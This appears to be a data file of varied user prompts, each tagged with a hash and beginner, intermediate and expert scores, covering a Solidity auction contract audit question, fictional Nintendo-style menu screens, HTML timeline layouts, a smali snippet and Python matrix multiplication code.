from the collateral auction function startAuction(bytes32 loanId, uint256 callDebt) external { // check that caller is a lending term that still has PnL reporting role require( core().hasRole(CoreRoles.GAUGE_PNL_NOTIFIER, msg.sender), "AuctionHouse: invalid caller" ); // check the loan exists in calling lending term and has been called in the current block LendingTerm.Loan memory loan = LendingTerm(msg.sender).getLoan(loanId); require( loan.callTime == block.timestamp, "AuctionHouse: loan previously called" ); // check auction for this loan has not already been created require( auctions[loanId].startTime == 0, "AuctionHouse: auction exists" ); // save auction in state auctions[loanId] = Auction({ startTime: block.timestamp, endTime: 0, lendingTerm: msg.sender, collateralAmount: loan.collateralAmount, callDebt: callDebt }); nAuctionsInProgress++; // emit event emit AuctionStart( block.timestamp, loanId, LendingTerm(msg.sender).collateralToken(), loan.collateralAmount, callDebt ); } /// @notice Get the bid details for an active auction. /// During the first half of the auction, an increasing amount of the collateral is offered, for the full CREDIT amount. /// During the second half of the action, all collateral is offered, for a decreasing CREDIT amount. function getBidDetail( bytes32 loanId ) public view returns (uint256 collateralReceived, uint256 creditAsked) { // check the auction for this loan exists uint256 _startTime = auctions[loanId].startTime; require(_startTime != 0, "AuctionHouse: invalid auction"); // check the auction for this loan isn't ended require(auctions[loanId].endTime == 0, "AuctionHouse: auction ended"); // assertion should never fail because when an auction is created, // block.timestamp is recorded as the auction start time, and we check in previous // lines that start time != 0, so the auction has started. assert(block.timestamp >= _startTime); // first phase of the auction, where more and more collateral is offered if (block.timestamp < _startTime + midPoint) { // ask for the full debt creditAsked = auctions[loanId].callDebt; // compute amount of collateral received uint256 elapsed = block.timestamp - _startTime; // [0, midPoint[ uint256 _collateralAmount = auctions[loanId].collateralAmount; // SLOAD collateralReceived = (_collateralAmount * elapsed) / midPoint; } // second phase of the auction, where less and less CREDIT is asked else if (block.timestamp < _startTime + auctionDuration) { // receive the full collateral collateralReceived = auctions[loanId].collateralAmount; // compute amount of CREDIT to ask uint256 PHASE_2_DURATION = auctionDuration - midPoint; uint256 elapsed = block.timestamp - _startTime - midPoint; // [0, PHASE_2_DURATION[ uint256 _callDebt = auctions[loanId].callDebt; // SLOAD creditAsked = _callDebt - (_callDebt * elapsed) / PHASE_2_DURATION; } // second phase fully elapsed, anyone can receive the full collateral and give 0 CREDIT // in practice, somebody should have taken the arb before we reach this condition. else { // receive the full collateral collateralReceived = auctions[loanId].collateralAmount; //creditAsked = 0; // implicit } } /// @notice bid for an active auction /// @dev as a bidder, you must approve CREDIT tokens on the LendingTerm contract associated /// with the loan `getAuction(loanId).lendingTerm`, not on the AuctionHouse itself. function bid(bytes32 loanId) external { // this view function will revert if the auction is not started, // or if the auction is already ended. (uint256 collateralReceived, uint256 creditAsked) = getBidDetail( loanId ); require(creditAsked != 0, "AuctionHouse: cannot bid 0"); // close the auction in state auctions[loanId].endTime = block.timestamp; nAuctionsInProgress--; // notify LendingTerm of auction result address _lendingTerm = auctions[loanId].lendingTerm; LendingTerm(_lendingTerm).onBid( loanId, msg.sender, auctions[loanId].collateralAmount - collateralReceived, // collateralToBorrower collateralReceived, // collateralToBidder creditAsked // creditFromBidder ); // emit event emit AuctionEnd( block.timestamp, loanId, LendingTerm(_lendingTerm).collateralToken(), collateralReceived, // collateralSold creditAsked // debtRecovered ); } /// @notice forgive a loan, by marking the debt as a total loss /// @dev this is meant to be used when an auction concludes without anyone bidding, /// even if 0 CREDIT is asked in return. This situation could arise /// if collateral assets are frozen within the lending term contract. function forgive(bytes32 loanId) external { // this view function will revert if the auction is not started, // or if the auction is already ended. (, uint256 creditAsked) = getBidDetail(loanId); require(creditAsked == 0, "AuctionHouse: ongoing auction"); // close the auction in state auctions[loanId].endTime = block.timestamp; nAuctionsInProgress--; // notify LendingTerm of auction result address _lendingTerm = auctions[loanId].lendingTerm; LendingTerm(_lendingTerm).onBid( loanId, msg.sender, 0, // collateralToBorrower 0, // collateralToBidder 0 // creditFromBidder ); // emit event emit AuctionEnd( block.timestamp, loanId, LendingTerm(_lendingTerm).collateralToken(), 0, // collateralSold 0 // debtRecovered ); } } the bid function closes the auction and immediately notifies the associated LendingTerm contract of the auction result without any checks to ensure the creditAsked is actually transferred from the bidder to the lending term and this is a problem that can allow an attacker to bid without actually paying the creditAsked, which means they could receive the auction’s collateral essentially for free if not enforced elsewhere and the credit transferFrom() is performed in the lending term the transfer success doesn't need to be checked because the credit token is a protocol contract that is based on openzeppelin's v4.9.3 implementation and that either reverts or return true always
3c4237a0293363e123fef9b5278bddae
{ "intermediate": 0.42993852496147156, "beginner": 0.28820478916168213, "expert": 0.2818566858768463 }
36,524
Create a code of the Wario Apparition in Super Mario 64.
0a81f46c2880dbdef20e6096c7c3af69
{ "intermediate": 0.310352623462677, "beginner": 0.29625964164733887, "expert": 0.39338773488998413 }
36,525
.method public setPrice(Ljava/lang/Double;)V .registers 3 const-string v0, "price" .line 32 invoke-virtual {p0, v0, p1}, Lcom/unity3d/ads/metadata/InAppPurchaseMetaData;->set(Ljava/lang/String;Ljava/lang/Object;)Z return-void .end method
cd805732c25acaeb7338a1a33a31399a
{ "intermediate": 0.29846447706222534, "beginner": 0.4420827329158783, "expert": 0.25945279002189636 }
36,526
Create menu text screens for the Super Why! episode, “The Cowgirl Mystery” as if it were a Mario game developed and published by Nintendo.
061be072f427707a1662cff072678079
{ "intermediate": 0.3670869767665863, "beginner": 0.2495531290769577, "expert": 0.38335981965065 }
36,527
Create menu text screens for a Mario/VeggieTales crossover game developed and published by Nintendo.
537d45317c74f313f72ca9e9ce079180
{ "intermediate": 0.3352213203907013, "beginner": 0.21210429072380066, "expert": 0.45267435908317566 }
36,528
Create menu text screens for a Mario Party/Amphibia crossover game developed and published by Nintendo.
d6d7af3f571ff0ff0f851a9ec0a60425
{ "intermediate": 0.33302411437034607, "beginner": 0.22069868445396423, "expert": 0.4462771713733673 }
36,529
Create DVD menu text screens of VeggieTales: Abe and the Amazing Promise, released on February 10, 2009, Distributed by Buena Vista Home Entertainment.
416c85221a25189b856c772718859e99
{ "intermediate": 0.3742314875125885, "beginner": 0.21642473340034485, "expert": 0.40934374928474426 }
36,530
Create DVD menu text screens of Big Idea’s Mario Strikers Charged, released in June 2007, distributed by Word Entertainment (including previews).
97b21c444a0062123902937c476347e4
{ "intermediate": 0.34859004616737366, "beginner": 0.23459675908088684, "expert": 0.4168131649494171 }
36,531
make it more beautiful and colourful also add linear time graph with each node as station with arrival time,departure time and station name  <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Untitled</title> <link rel="stylesheet" href="https://unpkg.com/tailwindcss@^2/dist/tailwind.min.css"> <style> @import url('https://fonts.googleapis.com/css2?family=Roboto:wght@300;400;500;700&display=swap'); </style> </head> <body> <div class="bg-gray-100"> <div class="max-w-7xl mx-auto py-12 px-4 sm:px-6 lg:px-8"> <nav class="flex h-10 items-center justify-between"> <div class="flex-1 flex items-center"> <a href="#" class="text-lg font-medium text-gray-900">O2A - Thampanoor - Main Bus Stand</a> </div> <div class="flex-1 flex items-center justify-end"> <div class="ml-4"> <a href="#" class="text-sm font-medium text-gray-500 hover:text-gray-700">3C Magenta KSRTC Clockwise</a> </div> </div> </nav> <div class="mt-8"> <div class="max-w-4xl mx-auto"> <div class="flex flex-col"> <div class="overflow-x-auto sm:-mx-6 lg:-mx-8"> <div class="py-2 inline-block min-w-full sm:px-6 lg:px-8"> <div class="overflow-hidden"> <table class="min-w-full"> <thead class="border-b"> <tr> <th scope="col" class="text-sm font-medium text-gray-900 px-6 py-4 text-left"> Time </th> <th scope="col" class="text-sm font-medium text-gray-900 px-6 py-4 text-left"> Stop </th> </tr> </thead> <tbody> <tr class="border-b"> <td class="px-6 py-4 whitespace-nowrap text-sm font-medium text-gray-900">7:22 AM</td> <td class="px-6 py-4 whitespace-nowrap text-sm font-medium text-gray-900">O2A - Thampanoor - Main Bus Stand</td> </tr> <tr class="border-b"> <td class="px-6 py-4 whitespace-nowrap text-sm font-medium text-gray-900">7:23 AM</td> <td class="px-6 py-4 whitespace-nowrap text-sm font-medium text-gray-900">40B - Aristo</td> </tr> <tr class="border-b"> <td class="px-6 py-4 whitespace-nowrap text-sm font-medium text-gray-900">7:24 AM</td> <td class="px-6 py-4 whitespace-nowrap text-sm font-medium text-gray-900">39A- Model School</td> </tr> <tr class="border-b"> <td class="px-6 py-4 whitespace-nowrap text-sm font-medium text-gray-900">7:26 AM</td> <td class="px-6 py-4 whitespace-nowrap text-sm font-medium text-gray-900">41- Panavila</td> </tr> <tr class="border-b"> <td class="px-6 py-4 whitespace-nowrap text-sm font-medium text-gray-900">7:27 AM</td> <td class="px-6 py-4 whitespace-nowrap text-sm font-medium text-gray-900">38D- Bakery Jn.</td> </tr> <tr class="border-b"> <td class="px-6 py-4 whitespace-nowrap text-sm font-medium text-gray-900">7:28 AM</td> <td class="px-6 py-4 whitespace-nowrap text-sm font-medium text-gray-900">07A- Palayam-Chandrasekharan Nair Stadium</td> </tr> <tr class="border-b"> <td class="px-6 py-4 whitespace-nowrap text-sm font-medium text-gray-900">7:29 AM</td> <td class="px-6 py-4 whitespace-nowrap text-sm font-medium text-gray-900">09A-PMG- Students Centre</td> </tr> <tr class="border-b"> <td class="px-6 py-4 whitespace-nowrap text-sm font-medium text-gray-900">7:31 AM</td> <td class="px-6 py-4 whitespace-nowrap text-sm font-medium text-gray-900">108A- Plamoodu</td> </tr> <tr class="border-b"> <td class="px-6 py-4 whitespace-nowrap text-sm font-medium text-gray-900">7:32 AM</td> <td class="px-6 py-4 whitespace-nowrap text-sm font-medium text-gray-900">109B- Pattom Psc Office</td> </tr> <tr class="border-b"> <td class="px-6 py-4 whitespace-nowrap text-sm font-medium text-gray-900">7:33 AM</td> <td class="px-6 py-4 whitespace-nowrap text-sm font-medium text-gray-900">110A- Pattom-LIC</td> </tr> <tr class="border-b"> <td class="px-6 py-4 whitespace-nowrap text-sm font-medium text-gray-900">7:35 AM</td> <td class="px-6 py-4 whitespace-nowrap text-sm font-medium text-gray-900">111A- Pattom- St. Mary's HSS</td> </tr> <tr class="border-b"> <td class="px-6 py-4 whitespace-nowrap text-sm font-medium text-gray-900">7:36 AM</td> <td class="px-6 py-4 whitespace-nowrap text-sm font-medium text-gray-900">112C- Kesavadasapuram</td> </tr> <tr class="border-b"> <td class="px-6 py-4 whitespace-nowrap text-sm font-medium text-gray-900">7:37 AM</td> <td class="px-6 py-4 whitespace-nowrap text-sm font-medium text-gray-900">110B- Pattom-LIC</td> </tr> <tr class="border-b"> <td class="px-6 py-4 whitespace-nowrap text-sm font-medium text-gray-900">7:39 AM</td> <td class="px-6 py-4 whitespace-nowrap text-sm font-medium text-gray-900">111B- Pattom- St. Mary's HSS</td> </tr> <tr class="border-b"> <td class="px-6 py-4 whitespace-nowrap text-sm font-medium text-gray-900">7:40 AM</td> <td class="px-6 py-4 whitespace-nowrap text-sm font-medium text-gray-900">109C- Pattom</td> </tr> </tbody> </table> </div> </div> </div> </div> </div> </div> </div> </div> </body> </html>
e00a7cde9332c35de44a96a74cf0183c
{ "intermediate": 0.2789175808429718, "beginner": 0.49839451909065247, "expert": 0.22268788516521454 }
36,532
edit this so that on left side both time then time graph then station name <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Schedule with Timeline</title> <link rel="stylesheet" href="https://unpkg.com/tailwindcss@^2/dist/tailwind.min.css"> <style> @import url('https://fonts.googleapis.com/css2?family=Roboto:wght@300;400;500;700&display=swap'); .timeline { display: flex; flex-direction: column; position: relative; } .timeline::before { content: ''; position: absolute; top: 0; bottom: 0; left: calc(50% - 2px); border-left: 4px solid #4C51BF; z-index: 1; } .station { position: relative; margin: 20px 0px; width: 100%; display: flex; justify-content: space-between; } .station::before { content: ''; position: absolute; width: 16px; height: 16px; background-color: #fff; border: 4px solid #4C51BF; border-radius: 50%; top: 50%; left: calc(50% - 2px); transform: translate(-50%, -50%); z-index: 2; } .station-time { padding: 5px 10px; background-color: #4C51BF; color: #fff; border-radius: 12px; white-space: nowrap; z-index: 3; } .station-name { padding: 5px 0; text-align: left; flex-grow: 1; } .time-wrapper { display: flex; gap: 10px; flex-direction: column; align-items: flex-end; z-index: 3; } </style> </head> <body> <div class="bg-gray-100 font-roboto"> <div class="max-w-7xl mx-auto py-12 px-4 sm:px-6 lg:px-8"> <div class="mt-8"> <div class="timeline"> <div class="station"> <div class="station-name">O2A - Thampanoor - Main Bus Stand</div> <div class="time-wrapper"> <div class="station-time">Arrival: 7:22 AM</div> <div class="station-time">Departure: 7:23 AM</div> </div> </div> <div class="station"> <div class="station-name">O2A - Thampanoor - Main Bus Stand</div> <div class="time-wrapper"> <div class="station-time">Arrival: 7:22 AM</div> <div class="station-time">Departure: 7:23 AM</div> </div> </div> <div class="station"> <div class="station-name">O2A - Thampanoor - Main Bus Stand</div> <div class="time-wrapper"> <div class="station-time">Arrival: 7:22 AM</div> <div class="station-time">Departure: 7:23 AM</div> </div> </div> <div class="station"> <div class="station-name">O2A - Thampanoor - Main Bus Stand</div> <div class="time-wrapper"> <div class="station-time">Arrival: 7:22 AM</div> <div class="station-time">Departure: 7:23 AM</div> </div> </div> <div class="station"> <div class="station-name">O2A - Thampanoor - Main Bus Stand</div> <div class="time-wrapper"> <div class="station-time">Arrival: 7:22 AM</div> <div class="station-time">Departure: 7:23 AM</div> </div> </div> <!-- Additional stations go here --> <!-- … --> </div> </div> </div> </div> </body> </html>
c111c4a4cf5b75b206dfd3d9d7d47b76
{ "intermediate": 0.31130021810531616, "beginner": 0.4717819094657898, "expert": 0.21691784262657166 }
36,533
Create a table of SpongeBob SquarePants episodes aired around the time Mario games and their spin-offs were released.
f5248a936f4733b7c547e5272627ca96
{ "intermediate": 0.3422296345233917, "beginner": 0.3052120804786682, "expert": 0.3525582551956177 }
36,534
Create a table of SpongeBob SquarePants episodes aired around the time Mario games and their spin-offs were released ranging from 2005 to 2019.
572fdc1567f06754c1a869078c2f1a16
{ "intermediate": 0.34200841188430786, "beginner": 0.31634044647216797, "expert": 0.3416511118412018 }
36,535
English is the new programming language
92d59ddb8663245ffc7bd110374ff442
{ "intermediate": 0.31126299500465393, "beginner": 0.42411714792251587, "expert": 0.2646197974681854 }
36,536
rearragne in this order arrival time then graph then name then departure <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Schedule with Timeline</title> <link rel="stylesheet" href="https://unpkg.com/tailwindcss@^2/dist/tailwind.min.css"> <style> @import url('https://fonts.googleapis.com/css2?family=Roboto:wght@300;400;500;700&display=swap'); .timeline { display: flex; flex-direction: column; position: relative; } .timeline::before { content: ''; position: absolute; top: 0; bottom: 0; left: 50%; border-left: 4px solid #4C51BF; z-index: 1; } .station { position: relative; margin: 10px 0px; display: flex; align-items: center; } .station::before { content: ''; position: absolute; width: 16px; height: 16px; background-color: #fff; border: 4px solid #4C51BF; border-radius: 50%; left: 50%; transform: translateX(-40%); z-index: 2; } .station-time { padding: 5px 10px; background-color: #4C51BF; color: #fff; border-radius: 12px; white-space: nowrap; z-index: 3; } .station-name { padding: 5px 0; flex-grow: 1; text-align: right; padding-left: 20px; } .time-wrapper { display: flex; flex-direction: row; align-items: center; justify-content: space-between; z-index: 3; padding-right: 20px; width: 200px; } .header-row { display: flex; justify-content: space-between; padding: 10px 0; font-weight: bold; } </style> </head> <body> <div class="bg-gray-100 font-roboto"> <div class="max-w-xl mx-auto py-12 px-4 sm:px-6 lg:px-2"> <div class="mt-8"> <div class="timeline"> <div class="header-row"> <div class="time-wrapper"> <div>Arrival</div> <div>Departure</div> </div> <div>Station Name</div> </div> <!-- Repeat the station div for each station with updated structure --> <div class="station"> <div class="time-wrapper"> <div class="station-time">7:22 AM</div> <div class="station-time">7:23 AM</div> </div> <div class="station-name">Thampanoor - Main Bus Stand</div> </div> <div class="station"> <div class="time-wrapper"> <div class="station-time">7:22 AM</div> <div class="station-time">7:23 AM</div> </div> <div class="station-name">Thampanoor - Main Bus Stand</div> </div> <div class="station"> <div class="time-wrapper"> <div class="station-time">7:22 AM</div> <div class="station-time">7:23 AM</div> </div> <div class="station-name">Thampanoor - Main Bus Stand</div> </div> <div class="station"> <div class="time-wrapper"> <div class="station-time">7:22 AM</div> <div class="station-time">7:23 AM</div> </div> <div class="station-name">Thampanoor - Main Bus Stand</div> </div> <!-- Additional stations go here --> <!-- … --> </div> </div> </div> </div> </body> </html>
6280ab7326bf65d73a6b1ea591b293fb
{ "intermediate": 0.27339762449264526, "beginner": 0.44412288069725037, "expert": 0.28247949481010437 }
36,537
Read this code: import numpy as np def analyze_matrices(A, B): """ Analyze the given matrices to determine their properties such as sparsity, symmetry, and other characteristics. Parameters: A - First input matrix. B - Second input matrix. Returns: characteristics - A dictionary with various properties of the matrices. """ characteristics = {} # Calculate sparsity of the matrices sparsity_A = np.count_nonzero(A) / A.size sparsity_B = np.count_nonzero(B) / B.size characteristics["sparsity_A"] = sparsity_A characteristics["sparsity_B"] = sparsity_B # Check for symmetry characteristics["symmetric_A"] = np.allclose(A, A.T) characteristics["symmetric_B"] = np.allclose(B, B.T) # Check if matrices are square characteristics["square"] = A.shape[0] == A.shape[1] and B.shape[0] == B.shape[1] # Add more properties and heuristics as needed # … return characteristics def select_algorithm(characteristics): """ Select the most efficient matrix multiplication algorithm based on the analyzed characteristics of the input matrices. Parameters: characteristics - A dictionary containing properties of the matrices. Returns: algorithm - A function that performs matrix multiplication. """ # Example heuristic rules based on matrix properties: # If matrices are sparse, use a sparse-matrix specialized method if characteristics["sparsity_A"] < 0.1 and characteristics["sparsity_B"] < 0.1: algorithm = multiply_sparse_matrices # If matrices are both symmetric and square, other optimizations may be possible elif characteristics["symmetric_A"] and characteristics["symmetric_B"] and characteristics["square"]: algorithm = strassen_matrix_mult # Placeholder for a potential symmetry-exploiting method # For dense and square matrices, consider Strassen’s or Coppersmith-Winograd algorithms elif characteristics["square"]: algorithm = strassen_matrix_mult # Should consider matrix size and other factors # As a default, use NumPy’s highly optimized matrix multiplication else: algorithm = np.dot return algorithm # Placeholder for the example sparse matrix multiplication algorithm def multiply_sparse_matrices(A, B): # In practice, you’d use an optimized sparse matrix library like SciPy from scipy.sparse import csr_matrix A_sparse = csr_matrix(A) B_sparse = csr_matrix(B) return A_sparse.dot(B_sparse).toarray() # Placeholder for Strassen’s matrix multiplication algorithm. # Here you would put the actual implementation or the call to an optimized library that implements Strassen’s algorithm. def strassen_matrix_mult(A, B): # A placeholder function that should implement Strassen’s algorithm or forward the call to an efficient implementation # For our example purposes, we’ll call NumPy’s dot product as a placeholder return np.dot(A, B) def should_reduce_dim(characteristics): """ Determine if dimensionality reduction would be beneficial prior to matrix multiplication. Parameters: characteristics - A dictionary containing properties of the matrices. Returns: True if dimensionality reduction should be applied, False otherwise. """ # Example criteria for dimensionality reduction # (in reality, these thresholds should be determined through empirical analysis # and could be much more complex, possibly involving machine learning models) # Define a size threshold for dimensionality reduction. # This is just a mock-up example and assumes that for larger matrices, # there could be a benefit for such reduction if they are not sparse. SIZE_THRESHOLD = 1000 # Assume matrices larger than 1000 elements could benefit from reduction # Define a minimum sparsity threshold to avoid reduction for already sparse matrices, # as reducing dimensions might not yield additional benefits. SPARSITY_THRESHOLD = 0.1 # Arbitrary example threshold # Ensure matrices are not too sparse to benefit from dimensionality reduction not_too_sparse = characteristics["sparsity_A"] > SPARSITY_THRESHOLD and characteristics["sparsity_B"] > SPARSITY_THRESHOLD # Ensure matrices are large enough to consider reduction large_enough = characteristics["size_A"] >= SIZE_THRESHOLD or characteristics["size_B"] >= SIZE_THRESHOLD # Example conditional logic for simplification return large_enough and not_too_sparse # Note: this is a very simplified possible function. In practice, the decision to apply dimensionality reduction would include # a cost-benefit analysis considering the overhead of the reduction process itself, the importance of the result’s accuracy, # and the specific domain of application. In many cases, such methods are employed in the fields of data compression and # signal processing, where approximate results can be acceptable, rather than in strict linear algebra computation. # Adaptive Fast Matrix Multiplication : def AFMM(A, B): # Step 1: Analyze matrices A and B for sparsity, structure, etc. characteristics = analyze_matrices(A, B) # Step 2: Select the fastest approach based on the analysis algorithm = select_algorithm(characteristics) # Step 3: Optionally, reduce dimensions of A and B if appropriate if should_reduce_dim(characteristics): A_reduced, B_reduced, reverse_mapper = dimensionality_reduction(A, B) product_reduced = algorithm(A_reduced, B_reduced) product = reverse_mapper(product_reduced) else: product = algorithm(A, B) # Step 4: Return the result return product # Example cases : # Printing result :
eda868a755129bc4b45a478020bc313a
{ "intermediate": 0.35484883189201355, "beginner": 0.3617928624153137, "expert": 0.28335827589035034 }
36,538
Create an anti-piracy text screen of Super Why!.
8cc092920b7a1e0a41dd1364205bcc38
{ "intermediate": 0.3047281801700592, "beginner": 0.3392590284347534, "expert": 0.3560127317905426 }
36,539
Do you know about MLBB and its gameplay mechanics? If you do, why does no one build critical build on wanwan but instead builds attack speed?
5a19b6d27dc687a0cd752f60e0529df9
{ "intermediate": 0.32458198070526123, "beginner": 0.33215272426605225, "expert": 0.3432653546333313 }
36,540
Create text screens of New Super Mario Bros. Wii anti-piracy.
6d903fb2bd49661391f929950af7be65
{ "intermediate": 0.3404700458049774, "beginner": 0.28284817934036255, "expert": 0.37668177485466003 }
36,541
import numpy as np from sklearn.decomposition import PCA def analyze_matrices(A, B): """ Analyze the given matrices to determine their properties such as sparsity, symmetry, and other characteristics. Parameters: A - First input matrix. B - Second input matrix. Returns: characteristics - A dictionary with various properties of the matrices. """ characteristics = {} # Calculate the size of the matrices (number of elements) characteristics["size_A"] = A.size characteristics["size_B"] = B.size # Calculate sparsity of the matrices sparsity_A = np.count_nonzero(A) / A.size sparsity_B = np.count_nonzero(B) / B.size characteristics["sparsity_A"] = sparsity_A characteristics["sparsity_B"] = sparsity_B # Check for symmetry characteristics["symmetric_A"] = np.allclose(A, A.T) characteristics["symmetric_B"] = np.allclose(B, B.T) # Check if matrices are square characteristics["square"] = A.shape[0] == A.shape[1] and B.shape[0] == B.shape[1] # Add more properties and heuristics as needed # … return characteristics def select_algorithm(characteristics): """ Select the most efficient matrix multiplication algorithm based on the analyzed characteristics of the input matrices. Parameters: characteristics - A dictionary containing properties of the matrices. Returns: algorithm - A function that performs matrix multiplication. """ # Example heuristic rules based on matrix properties: # If matrices are sparse, use a sparse-matrix specialized method if characteristics["sparsity_A"] < 0.1 and characteristics["sparsity_B"] < 0.1: algorithm = multiply_sparse_matrices # If matrices are both symmetric and square, other optimizations may be possible elif characteristics["symmetric_A"] and characteristics["symmetric_B"] and characteristics["square"]: algorithm = strassen_matrix_mult # Placeholder for a potential symmetry-exploiting method # For dense and square matrices, consider Strassen’s or Coppersmith-Winograd algorithms elif characteristics["square"]: algorithm = strassen_matrix_mult # Should consider matrix size and other factors # As a default, use NumPy’s highly optimized matrix multiplication else: algorithm = np.dot return algorithm # Placeholder for the example sparse matrix multiplication algorithm def multiply_sparse_matrices(A, B): # In practice, you’d use an optimized sparse matrix library like SciPy from scipy.sparse import csr_matrix A_sparse = csr_matrix(A) B_sparse = csr_matrix(B) return A_sparse.dot(B_sparse).toarray() # Placeholder for Strassen’s matrix multiplication algorithm. # Here you would put the actual implementation or the call to an optimized library that implements Strassen’s algorithm. def strassen_matrix_mult(A, B): # A placeholder function that should implement Strassen’s algorithm or forward the call to an efficient implementation # For our example purposes, we’ll call NumPy’s dot product as a placeholder return np.dot(A, B) def should_reduce_dim(characteristics): """ Determine if dimensionality reduction would be beneficial prior to matrix multiplication. Parameters: characteristics - A dictionary containing properties of the matrices. Returns: True if dimensionality reduction should be applied, False otherwise. """ # Example criteria for dimensionality reduction # (in reality, these thresholds should be determined through empirical analysis # and could be much more complex, possibly involving machine learning models) # Define a size threshold for dimensionality reduction. # This is just a mock-up example and assumes that for larger matrices, # there could be a benefit for such reduction if they are not sparse. SIZE_THRESHOLD = 1000 # Assume matrices larger than 1000 elements could benefit from reduction # Define a minimum sparsity threshold to avoid reduction for already sparse matrices, # as reducing dimensions might not yield additional benefits. SPARSITY_THRESHOLD = 0.1 # Arbitrary example threshold # Ensure matrices are not too sparse to benefit from dimensionality reduction not_too_sparse = characteristics["sparsity_A"] > SPARSITY_THRESHOLD and characteristics["sparsity_B"] > SPARSITY_THRESHOLD # Ensure matrices are large enough to consider reduction large_enough = characteristics["size_A"] >= SIZE_THRESHOLD or characteristics["size_B"] >= SIZE_THRESHOLD # Example conditional logic for simplification return large_enough and not_too_sparse # Note: this is a very simplified possible function. In practice, the decision to apply dimensionality reduction would include # a cost-benefit analysis considering the overhead of the reduction process itself, the importance of the result’s accuracy, # and the specific domain of application. In many cases, such methods are employed in the fields of data compression and # signal processing, where approximate results can be acceptable, rather than in strict linear algebra computation. def dimensionality_reduction(A, B, num_components): """ Apply PCA dimensionality reduction to both matrices A and B. Parameters: A - First input matrix. B - Second input matrix. num_components - Number of components to keep. Returns: A_reduced - The reduced representation of matrix A. B_reduced - The reduced representation of matrix B. reverse_mapper - A function that maps the reduced representation back to the original space. """ pca_A = PCA(n_components=num_components) pca_B = PCA(n_components=num_components) A_reduced = pca_A.fit_transform(A) B_reduced = pca_B.fit_transform(B) def reverse_mapper(A_reduced, B_reduced): A_original = pca_A.inverse_transform(A_reduced) B_original = pca_B.inverse_transform(B_reduced) return A_original, B_original return A_reduced, B_reduced, reverse_mapper # Adaptive Fast Matrix Multiplication : def AFMM(A, B): # Step 1: Analyze matrices A and B for sparsity, structure, etc. characteristics = analyze_matrices(A, B) # Step 2: Select the fastest approach based on the analysis algorithm = select_algorithm(characteristics) # Step 3: Optionally, reduce dimensions of A and B if appropriate if should_reduce_dim(characteristics): A_reduced, B_reduced, reverse_mapper = dimensionality_reduction(A, B) product_reduced = algorithm(A_reduced, B_reduced) product = reverse_mapper(product_reduced) else: product = algorithm(A, B) # Step 4: Return the result return product # Example cases : # Printing result : A = np.array([[1, 2], [3, 4]]) B = np.array([[5, 6], [7, 8]]) print(AFMM(A, B))
b8eaf684f16602cbd1c45d62ae507254
{ "intermediate": 0.34949353337287903, "beginner": 0.28294697403907776, "expert": 0.36755943298339844 }